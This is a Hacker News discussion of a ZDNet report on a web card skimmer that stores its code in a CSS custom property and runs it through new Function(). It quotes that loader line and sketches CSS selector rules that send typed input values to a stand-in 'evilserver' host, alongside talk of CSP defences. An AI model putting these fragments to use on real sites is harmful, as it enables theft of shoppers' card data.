Hacker News new | past | comments | ask | show | jobs | submit login
Hackers hide web skimmer inside a website's CSS (zdnet.com)
96 points by praveenscience on Dec 12, 2020 | hide | past | favorite | 78 comments



People are missing the point of the story (and the title doesn’t help)

CSS here is only used to hide the URL from security checkers, but a JavaScript part is still needed.

CSS alone can’t run scripts nor send the content of an input field.


CSS indeed can send the content of an input field [0], but it’s way too much of a hassle to be used in the wild.

[0]: https://github.com/maxchehab/CSS-Keylogging


> but it’s way too much of a hassle to be used in the wild.

No it's not, it's just rare that you'd have the ability to inject CSS but not JS.

A core skill of hacking is being able to see through the things people would normally see as "hassle" or "friction" to the reductionist "what keys do I have to press on the machine in what order to make this happen".


No it cannot. That method misses repeating characters, which makes it pretty useless unless your password is otherwise guessable. Also you have to hope that the order is right.

For credit card numbers that means that you’ll miss at least 4 digits and you won’t know their position among 16. I’m not gonna do the math but that’s a few times more than 10000 guesses necessary to find the final number.


I assume it's a script that searches the CSS files for any JS and runs eval()?

Yeah, the problem isn't CSS, them problem is whoever thought that was a good idea. Now XSS is a "feature" of CSS.


The article was edited, it did earlier claim that there was a CSS feature to include JS code.


Why on earth can CSS load JS. Is this an oversight or does --javascript actually exist for this exact purpose. I cannot find any details on this in any spec or rfc etc.


Reading TFA:

> One of the recent additions to the CSS language was a feature that would allow it to load and run JavaScript code from within a CSS rule.

What in the actual fuck?!?

Then, looking at the actual code:

  <script type="text/javascript" xml="space">// <![CDATA[
  new Function(getComputedStyle(document.documentElement)?.getPropertyValue('--script'))();
  ...
Okay, just accessing some random CSS variable from a script tag.

I wish tech journalists could ask someone with technical knowledge to double check before parroting hyped BS like this.


Catalin Cimpanu is one of the better journalists, and is usually quite good when it comes to technical accuracy.

If the article ever had the quote you included, it appears to have been removed and replaced with a fairly thorough explanation of what’s actually happening. (Perhaps the link has been changed?)

Just to be clear, this would’ve worked decades ago. There’s no inherent need to use CSS3 variables for this. It could’ve just as easily been hidden in a normal property.


The quote is present in the first Internet Archive snapshot of the article: https://web.archive.org/web/20201209131227/https://www.zdnet...


That’s a shame. I’m glad it was fixed, though.


I remember when media, even websites, would issue corrections eg "An earlier version of this article incorrectly claimed that a new feature of CSS allows javascript execution. The article has been updated with correct information. ZDNet regrets the error"


Indeed. That would’ve been nice. It may even be there, but there was so much other junk on the page that I could barely tell what was the article and what was an ad on a mobile device.


He’s really not.

https://www.zdnet.com/article/unsecured-mongodb-databases-ex...

You’d think that basic critical thinking would keep anyone from putting their name on this story.


Someone with technical knowledge is not going to talk to a journalist. Ugh, now I have to wash my hands after typing that word.


Which word, knowledge?


I wouldn’t put Catalin Cimpanu in that category. I find his articles to generally be technically-accurate and thorough. Everyone makes mistakes, though, and he’s certainly gotten a lot more popular following his transition to ZDNet. (Perhaps the link was changed? The current article seems to explain the issue accurately and completely; I doubt that was a simple edit.)


The article author replied to a comment below by saying that they corrected ("fixed") the article.


Glad to hear it was fixed, although it's unfortunate that such an error was published. Mistakes do happen, I suppose. His articles are usually pretty thorough.


It looks like `--script` is just an arbitrary string, it is only executed because a real `<script>` tag retrieves the property and evals it through `(new Function())()? https://twitter.com/sansecio/status/1336614850047381506/phot...


Why there's "new Function()" that looks for CSS computed styles with "--script"? Is this some pattern with a popular JS framework?


As I understand it: --script is just the name of the variable. JS has the ability to look up variables from CSS. --script could have been --helloworld, think of it as a selector (if you're more familiar with CSS than JS), which is then grabbed and evaled by the JS code.

> Is this some pattern with a popular JS framework?

I've never seen this anywhere before, JS grabbing values from CSS, but I mostly done ClojureScript development for the last 2 years.


New Function() is just another name for eval(). It has nothing specificly to do with css.


Quick correction: it is not the same as eval. It does not have access to the current scope. It is technically a fair bit safer when trying to run code from a string.

It may have access to the window object, however, so if something important is there, if can probably mess with that.


Its pretty hard to imagine a situation where full access to the global scope (including DOM) is fine as long as the attacker doesn't have access to the current function's scope. Performance difference, sure, but safety difference is pretty far fetched.


Okay but what is the purpose of this code? why would you eval() CSS?


The purpose of the code is to steal credit cards.

> why would you eval() CSS?

It’s really as simple as “because you can”. This is just an obfuscation technique.


From my understanding, the code that the devs wrote is not to steal credit cards but to create some UI, however they do it in such a way that JS hidden in CSS that would normally won't run. gets run and which results in credit cards being stolen.


You can see the code in the tweet linked earlier. The hackers injected a small JS snippet on the page that fetches the value of —script from the CSS and evals it.b


Why would they fetch --script from CSS instead of getting the information from the DOM and sending it to their serves straight away if the can already put a JS on the page that gets executed?


This is an obfuscation technique, it’s not supposed to make sense.


Oh O.K, so it's not a CSS hack. I thought it's something smarter like exploiting a JS pattern to trick it to run JS from CSS.

So, the hackers need to have access both to CSS and HTML to put the malicious JS that looks innocent in the HTML and load the malicious JS from the CSS.

Now it makes sense, thanks.


Which honestly seems like a pretty bad obfuscation technique. Loading a string from a css file and then executing as js is suspicious af. There is literally no reason to ever do that normally.


Of course, detecting this in general is not easy to do.


Because the skimmer developer wanted to obfuscate their code a little?


It doesn't look for `--script`. The hackers just retrieve the value of the `--script` value in JS and pass it to `new Function()`.


Things beginning with -- are generally just variables in css that can be retrieved later.

Older browsers used to have lots of ways to execute js from css (e.g. expression()) but all the browser vendors realized that that was terrible and are careful not to allow it. Most modern pure css attacks (in general, not what this article is about) involve loading different background images based on page content to exfiltrate secrets.


css custom property. doesn’t run anything, but it holds a string verbatim, that js code can read


A good Content-Security-Policy that did not allow unsafe-eval would have worked to protect against this. Puzzling that ecommerce sites have not set up proper CSP on their checkouts.


If someone can insert an eval() in your website, the battle is lost and they can do other evil things. Sure it defeats this one particular obfuscation method, but the ship has already sunk at that point

(To be clear, not dissing on CSP, its great, but it can't stop all attacks)

Now if script-src CSP prevented the script tag part of this attack, that would be a good thing CSP can potentially do (depending on what type of access attacker had).


Yeah, it's not just unsafe-eval that needs to be blocked, I just said that that was the specific feature that would have blocked this.

A good CSP would have protected against most injection attacks though (as long as the JS files have not been modified).


You're right if this was some included third party script, but usually these hacks involve an attacker getting access to the (PHP/HTML) source code and injecting stuff directly. At that point there's very little you can do to prevent JS files from being changed or the CSP being disabled at all. Very few web store systems rely on statically generated HTML pages, and the ones that do usually have some JS file for animations or functionality that the attacker can also modify.

CSP is great for blocking XSS and other such attacks, but I don't think it can be an effective defence in this particular attack. The only way I can think of to get CSP to protect you is to host no JS on the server itself, configure some kind of proxy (Cloudflare?) and inject CSP config there. An attacker could still compromise the website but they'd need to escalate their attack to the point of a DNS takeover or add a noticeable redirect to an attacker-controlled skimming page, both of which aren't very likely to be used against random targets like these web shops often are.


Which is why I usually writw the CSS completely myself (at max reusing my own css cose). I want to know the things I built, both for security and in case something doesn't work.


> Puzzling that ecommerce sites have not set up proper CSP on their checkouts

CSP is usually added as an afterthought and after the fact of an attack. Yes, it's great at weeding out XSS, but it's a grossly underused and underimplemented feature.


Keeping a CSP updated is beyond the technical abilities of people running most small online stores.


Remember that scripting in CSS actually used to be a thing - IE used to have 'behavior' and 'expression' properties that would load external scripting code or execute inline JavaScript.

'behavior' was commonly used to fix some PNG-transparancy issues in early IE versions (pngfix.htc) and 'expression' was a much more powerful (and dangerous) version of current 'calc'.


Yes I remember people coding their whole website using expression()


There’s an interesting technique to spy for key presses. Basically you have to use a custom font where each character loads from a different font URL. Browser will issue corresponding requests as you press your buttons. It won’t detect identical characters but it might steal enough to brute force the rest. And it works with no JS.


That’s what I thought this method was. Repeating characters would kill that method since you don’t know which character was repeated and, more importantly, where. Even in the best situation you have to guess 4 digits and their positions 1 through 16. That sounds like a lot of guessing.


Yes, not ideal. But may be someone might develop even better methods. Imagine something like

    input[value~="12"] { background-image: url(http://evilserver/12); }
    input[value~="13"] { background-image: url(http://evilserver/13); }
It's just a rough idea, but there are numerous methods to dynamically leak information through CSS.



Most of the CC deets ripped from online stores are hard to use with the presence of 3-D Secure[0]. I imagine the deets are collected in aggregate and then sold in darknet e-crime markets for a high price (Sold on because most of the deets are useless and unusable)

[0] https://en.wikipedia.org/wiki/3-D_Secure


The cards stolen this way are mostly sold individually for $10-$20 a piece.

You can search those marketplaces like any other store: "I want a Visa card from a guy in Florida".


This is why I'm ok to stop updating browsers and risk getting pwned just to keep uBO. It's a lot more likely that I'll get pwned by a fishy script distributed by an ads network than by a buffer overflow bug in a font renderer. Especially if uBO blocks custom fonts by default.



That's first time I heard CSS is allowed to load and run. WTF


As mentioned in other comments, CSS does not run scripts. In this case, it is just used to store the content of a script as a string in a custom property, which is then retrieved by another script, and run.


This is a article is a non-story, turned into a story by (what must be deliberate) misinformation.

Wary as I am to attribute to malice what can be explained by incompetent journalism, the fact that Sanguine Security are mentioned by name in the article, and their website directly linked to, makes me think this must be a paid marketing piece. The article also seems to imply that Willem de Groot is the person describing this "feature" as a modern addition to the CSS spec (it isn't any such thing).

There is no such feature, this attack uses JS eval normally and does not rely on anything special in CSS the language. There isn't anywhere near enough novelty here to describe this as anything distinct from any other old-fashioned XSS.

Flagged.


As someone who knows Willem and actually worked with him on finding how that weird CSS was being utilized/exploited I can say with 100% certainty that this is not a paid marketing piece.

And, just to clarify, by "work with him" I mean that he hit me up and we chatted while looking at the code and I suggested that some other code might be just using CSS as a storage place, not that I was paid or have ever been paid by him.

edit:

    anything distinct from any other old-fashioned XSS.
This isn't XSS in any way, shape, or form.


Can you explain to me what this is if not XSS?

The article does a poor job.

My assessment of this as marketing is going on the content of the article which attributes obvious misinformation to Sanguine Security; if it is not the case, I'd recommend Willem request a retraction/correction/clarification.


XSS doesn't involve someone compromising an online store's systems or adding code to pages through normal administrative functions.

XSS mainly takes two forms:

Non-persisted / reflected is the most common: An example of this: A webpage has a vulnerable URL parameter that doesn't sanitize the data. ex: http://example.com/?username=<data>

Instead of removing HTML/etc from that username parameter, it just writes it to the page, so I can then send you a malicious link for a site that you're familiar with and get the code to execute in your browser.

Stored/Persistent: Example: a social media site. If it didn't properly sanitize your posts, you could store malicious code as part of one of your posts and then anyone who saw that post would execute your code. Now, if you were clever, you would then make a post using their account and have it propagate your XSS and now you've created an XSS worm.


What I asked for is an explanation of the specific exploit described in the article, and what makes it distinct from XSS. The article is missing a lot of technical detail on the mechanism, so it's not entirely clear what these distinctions might be.

Your comment makes no mention of the specifics in the article and you've instead given me a (rather patronising) generic definition of XSS. I know what XSS is, and the mechanisms of compromise in its various forms. What I don't know is the detail of how this specific exploit is different.


Fixed. Thanks.


Not sure I follow. What's fixed?


And for people often saying it's a solution in search of a problem : that's why we need cryptocurrencies. At least, the ones that could be used as actual currencies.

It would be so much better if I could click a payment link that opens an external wallet software like "mailto:" links, verify the amount it proposes to transfer, and click "send" to send the money at the prefilled address instead of allowing someone to take it.

I really hope that one day, we'll tell our grandkids about that time where we were giving secret codes on the internet and anyone having them could take money on our account as they wish, and those kids will think we're delirious.


How is any of that not possible with regular money and a regular bank?

It's already how MobilePay works in Denmark. You give the website your phone number, and a prompt pops up on your phone screen to approve the transfer, with an amount, in a native (trusted) app.

Crypto doesn't add anything here.


As another example, Taler supports this exact requirement, without bringing crypto into the mix.

So does UPI in India. Banking transactions ask for my credentials on the bank website (after a redirect).

None of this needs cryptocoins.


Sending money worldwide is still often problematic (YMMV).


Good for Denmark, it doesn't exist here. Plus, there is no way I will install a proprietary banking app. For this to be acceptable, it needs to be a standard and have multiple implementations. At which point, using cryptocurrencies is the easiest way.


> Plus, there is no way I will install a proprietary banking app.

I'm glad that you found a problem for your solution.


I'm glad you enjoy our dystopian world.


But your point about not trusting an app is the same. At some point you’d need to trust some app.

If your problem is the bank’s app something like PSD2 will solve this by allowing you to connect to the bank directly and having your own app, right?


That's silly. This attack would be much easier to pull off with cryptocurrency.


Yep, the scripts that do so just replace the wallet you're going to send your bitcoin to with the attacker's wallet.


If you get your card skimmed you can call your bank and have your money bank.

If they steal your crypto it's buh-bye.


Ppl enjoy convenience. If we are to move to your solution in a matter of months or years we’d have Chrome integrate their wallet system as a new feature so you don’t need to open a new app. I think you can see how this is a very probable scenario


There are literally digital skimmers that do very similar attacks against checkout systems that utilize crypto currency.

The Lazarus group from North Korea actually did some of the earliest ones I saw, because they love themselves some bitcoin.


People love convenience too much. Look at what Gmail has done to mailto.




Join us for AI Startup School this June 16-17 in San Francisco!

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: